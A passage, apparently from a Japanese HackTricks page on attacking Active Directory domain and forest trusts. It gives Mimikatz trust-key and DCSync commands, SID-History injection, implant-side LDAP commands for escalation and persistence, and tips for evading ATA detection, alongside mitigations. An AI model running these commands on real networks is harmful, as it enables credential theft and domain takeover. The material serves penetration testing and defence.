  • Access Control Lists (ACLs): プリンシパルが ACL に指定されている場合、特に DACL 内の ACE として、特定のリソースへのアクセス権を与えられます。ACL、DACL、ACE の仕組みをさらに深く知りたい場合は、whitepaper “An ACE Up The Sleeve” が非常に参考になります。

Find external users/groups with permissions

外部のセキュリティプリンシパルを見つけるには、CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com を確認できます。これらは 外部ドメイン/フォレスト からのユーザー/グループです。

これを Bloodhound で確認するか、powerview を使用して確認できます:

# Get users that are i groups outside of the current domain
Get-DomainForeignUser

# Get groups inside a domain with users our
Get-DomainForeignGroupMember

子フォレストから親フォレストへの権限昇格

# Fro powerview
Get-DomainTrust

SourceName      : sub.domain.local    --> current domain
TargetName      : domain.local        --> foreign domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST       --> WITHIN_FOREST: Both in the same forest
TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
WhenCreated     : 2/19/2021 1:28:00 PM
WhenChanged     : 2/19/2021 1:28:00 PM

ドメインの信頼関係を列挙するその他の方法:

# Get DCs
nltest /dsgetdc:<DOMAIN>

# Get all domain trusts
nltest /domain_trusts /all_trusts /v

# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

Warning

2 trusted keys が存在します。1つは Child –> Parent 用、もう1つは Parent –> Child 用です。
現在のドメインで使用されている鍵を確認するには、次のコマンドを実行します:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

SID-History Injection

トラストを悪用して SID-History injection により child/parent domain で Enterprise admin に昇格します:

SID-History Injection

Exploit writeable Configuration NC

Configuration NC がどのように悪用され得るかを理解することは重要です。Configuration NC は AD 環境内のフォレスト全体の構成データの中央リポジトリとして機能します。このデータはフォレスト内のすべての Domain Controller (DC) にレプリケートされ、writable DCs は Configuration NC の書き込み可能なコピーを保持します。これを悪用するには、DC 上の SYSTEM 権限 が必要で、できれば child DC が望ましいです。

Link GPO to root DC site

Configuration NC の Sites コンテナには、AD フォレスト内のドメイン参加コンピュータのサイトに関する情報が含まれます。任意の DC 上で SYSTEM 権限を持っていると、GPOs を root DC site にリンクすることができます。この操作により、これらのサイトに適用されるポリシーを操作して root domain を潜在的に侵害できます。

詳細については、Bypassing SID Filtering の研究を参照してください。

Compromise any gMSA in the forest

攻撃ベクターの一つは、ドメイン内の特権 gMSA を標的にすることです。gMSAs のパスワード計算に必要な KDS Root key は Configuration NC に格納されています。任意の DC 上で SYSTEM 権限を持っていれば、KDS Root key にアクセスしてフォレスト内の任意の gMSA のパスワードを計算することが可能です。

詳細な解析と手順は以下を参照してください:

Golden Dmsa Gmsa

補助的な delegated MSA 攻撃 (BadSuccessor – migration attributes の悪用):

Badsuccessor Dmsa Migration Abuse

追加の外部研究: Golden gMSA Trust Attacks

Schema change attack

この手法は、特権を持つ新しい AD オブジェクトの作成を待つ忍耐を要します。SYSTEM 権限があれば、攻撃者は AD Schema を変更して任意のユーザに全クラスの完全コントロールを与えることができます。これにより、新しく作成される AD オブジェクトに対する不正アクセスと制御が可能になります。

詳細は Schema Change Trust Attacks を参照してください。

From DA to EA with ADCS ESC5

ADCS ESC5 脆弱性は、PKI オブジェクトに対する制御を標的とし、フォレスト内の任意のユーザとして認証可能にする証明書テンプレートを作成することを可能にします。PKI オブジェクトは Configuration NC に存在するため、書き込み可能な child DC を乗っ取ることで ESC5 攻撃を実行できます。

これについての詳細は From DA to EA with ESC5 を参照してください。ADCS が存在しない場合でも、攻撃者は必要なコンポーネントを構築することが可能であり、その点は Escalating from Child Domain Admins to Enterprise Admins で論じられています。

External Forest Domain - One-Way (Inbound) or bidirectional

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

このシナリオでは、あなたのドメインが信頼されている状態で、外部ドメインからあなたに対して不明な権限が与えられています。自ドメインのどのプリンシパルが外部ドメインに対してどのようなアクセスを持っているかを見つけ出し、それを悪用してみてください:

External Forest Domain - OneWay (Inbound) or bidirectional

外部フォレストドメイン - 一方向(アウトバウンド)

Get-DomainTrust -Domain current.local

SourceName      : current.local   --> Current domain
TargetName      : external.local  --> Destination domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound        --> Outbound trust
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

このシナリオでは あなたのドメイン別のドメイン からのプリンシパルにいくつかの 権限信頼 しています。

しかし、信頼するドメインによって domain is trusted されると、信頼されたドメインは 予測可能な名前 のユーザーを 作成 し、その パスワード として信頼関係で使われるパスワード(trusted password)を設定します。つまり、信頼するドメインのユーザーにアクセスして、信頼されたドメイン内部に侵入し、列挙やさらなる権限昇格を試みることが可能ということです:

External Forest Domain - One-Way (Outbound)

信頼されたドメインを侵害する別の方法は、ドメイン信頼の 逆方向 に作成された SQL trusted link を見つけることです(これはあまり一般的ではありません)。

信頼されたドメインを侵害する別の方法は、trusted domain のユーザーが RDP でログインできるマシンに潜伏することです。攻撃者は RDP セッションのプロセスにコードを注入し、そこから被害者のオリジンドメインにアクセスすることができます。
さらに、もし被害者が自分のハードドライブをマウントしている場合、RDP セッションプロセスからハードドライブの startup folderbackdoors を配置することも可能です。この手法は RDPInception と呼ばれます。

RDP Sessions Abuse

ドメイン信頼の悪用緩和

SID Filtering:

  • SID Filtering により、forest 間トラストで SID history 属性を悪用するリスクは軽減されます。SID Filtering はすべてのインターフォレストトラストでデフォルトで有効になっています。これは Microsoft の立場に沿って、セキュリティ境界をドメインではなくフォレストとして扱い、フォレスト内トラストは安全であるという前提に基づいています。
  • ただし注意点として、SID Filtering はアプリケーションやユーザーアクセスを阻害する可能性があり、そのために無効化されることがある点は留意が必要です。

Selective Authentication:

  • インターフォレストトラストでは、Selective Authentication を採用することで、両フォレストのユーザーが自動的に認証されることを防げます。代わりに、信頼するドメイン/フォレスト内のドメインやサーバーにアクセスするには明示的な権限が必要になります。
  • ただし、これらの対策は writable Configuration Naming Context (NC) の悪用やトラストアカウントへの攻撃を防ぐものではない点に注意してください。

More information about domain trusts in ired.team.

LDAP-based AD Abuse from On-Host Implants

The LDAP BOF Collection は bloodyAD-style な LDAP プリミティブを、ホスト内インプラント(例: Adaptix C2)内で完全に動作する x64 Beacon Object Files として再実装したものです。オペレーターはパックを git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make でコンパイルし、ldap.axs をロードしてから beacon から ldap <subcommand> を呼び出します。全てのトラフィックは現在のログオンのセキュリティコンテキストで LDAP (389) の署名/シーリング、または自動証明書信頼付きの LDAPS (636) を通して移動するため、socks プロキシやディスク上のアーティファクトは不要です。

インプラント側のLDAP列挙

  • get-users, get-computers, get-groups, get-usergroups, および get-groupmembers は短縮名/OU パスを完全な DN に解決し、対応するオブジェクトをダンプします。
  • get-object, get-attribute, および get-domaininfo は任意の属性(security descriptors を含む)と rootDSE からのフォレスト/ドメインのメタデータを取得します。
  • get-uac, get-spn, get-delegation, および get-rbcd は焼き取り(roasting)候補、委任設定、および LDAP から直接取得される既存の Resource-based Constrained Delegation ディスクリプタを露呈します。
  • get-aclget-writable --detailed は DACL を解析してトラスティ(trustees)、権利(GenericAll/WriteDACL/WriteOwner/attribute writes)、および継承を列挙し、ACL による privilege escalation のための即時のターゲットを示します。
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"

LDAP 書き込みプリミティブ(エスカレーション & 永続化)

  • Object creation BOFs (add-user, add-computer, add-group, add-ou) により、OU 権限がある場所に新しいプリンシパルやマシンアカウントを配置できます。add-groupmemberset-passwordadd-attributeset-attribute は、write-property 権限が見つかればターゲットを直接ハイジャックします。
  • ACL に焦点を当てたコマンド(add-aceset-owneradd-genericalladd-genericwriteadd-dcsync)は、任意の AD オブジェクトに対する WriteDACL/WriteOwner を、PowerShell/ADSI の痕跡を残さずにパスワードリセット、グループメンバーシップの制御、または DCSync レプリケーション権限へと変換します。remove-* 系は注入した ACE のクリーンアップに使えます。

Delegation, roasting, and Kerberos abuse

  • add-spn/set-spn は、侵害したユーザを即座に Kerberoastable にします。add-asreproastable(UAC トグル)はパスワードに触れずに AS-REP roasting 対象としてマークします。
  • Delegation マクロ(add-delegationset-delegationadd-constrainedadd-unconstrainedadd-rbcd)は、beacon から msDS-AllowedToDelegateTo、UAC フラグ、または msDS-AllowedToActOnBehalfOfOtherIdentity を書き換え、constrained/unconstrained/RBCD の攻撃経路を可能にし、リモート PowerShell や RSAT を使う必要を排除します。

sidHistory injection, OU relocation, and attack surface shaping

  • add-sidhistory は、制御されたプリンシパルの SID history に特権 SID を注入します(参照: SID-History Injection)。これにより、LDAP/LDAPS 上でステルスにアクセス継承を実現します。
  • move-object はコンピュータやユーザの DN/OU を変更し、攻撃者が set-passwordadd-groupmemberadd-spn を悪用する前に資産を既に委任権が存在する OU に引き込むことを可能にします。
  • 範囲を絞った削除コマンド(remove-attributeremove-delegationremove-rbcdremove-uacremove-groupmember 等)は、オペレータが資格情報や永続化を収穫した後に迅速にロールバックでき、テレメトリを最小化します。

AD -> Azure & Azure -> AD

Page not found - HackTricks Cloud

一般的な防御策

資格情報の保護方法の詳細はこちら。

資格情報保護のための防御策

  • Domain Admins 制限: Domain Admins は Domain Controllers にのみログインできるようにし、他のホストでの使用を避けることを推奨します。
  • Service Account の権限: サービスは Domain Admin (DA) 権限で実行すべきではありません。
  • 一時的な権限制限: DA 権限を必要とするタスクでは、その期間を制限してください。例えば次のように実現できます: Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)
  • LDAP relay 緩和: Event ID 2889/3074/3075 を監査し、DCs/clients で LDAP signing と LDAPS channel binding を強制して LDAP の MITM/relay 試行を阻止します。

Ldap Signing And Channel Binding

デセプション(欺瞞)技術の実装

  • デセプションの実装は、パスワードが期限切れにならない、または Trusted for Delegation とマークされたダミーのユーザやコンピュータのようなトラップを設定することを含みます。具体的には特定の権利を持つユーザを作成したり、高権限グループに追加したりする方法があります。
  • 実用的な例: Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose
  • デセプション技術の展開については Deploy-Deception on GitHub を参照してください。

デセプションの識別

  • ユーザオブジェクトに対して: 異常な ObjectSID、ログオン頻度の低さ、作成日、低い bad password カウントなどが疑わしい指標になります。
  • 一般的な指標: 潜在的なダミーオブジェクトの属性を正規のオブジェクトと比較することで不整合を発見できます。HoneypotBuster のようなツールがデセプションの識別に役立ちます。

検知回避

  • Microsoft ATA 検知回避:
  • ユーザ列挙: ATA 検知を避けるために Domain Controllers 上でのセッション列挙を避ける。
  • チケット偽装: チケット作成に aes キーを使用すると、NTLM へのダウングレードを避け検知を回避しやすくなります。
  • DCSync 攻撃: Domain Controller 以外から実行することで ATA 検知を避けることが推奨されます。Domain Controller 上で直接実行するとアラートの原因になります。

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする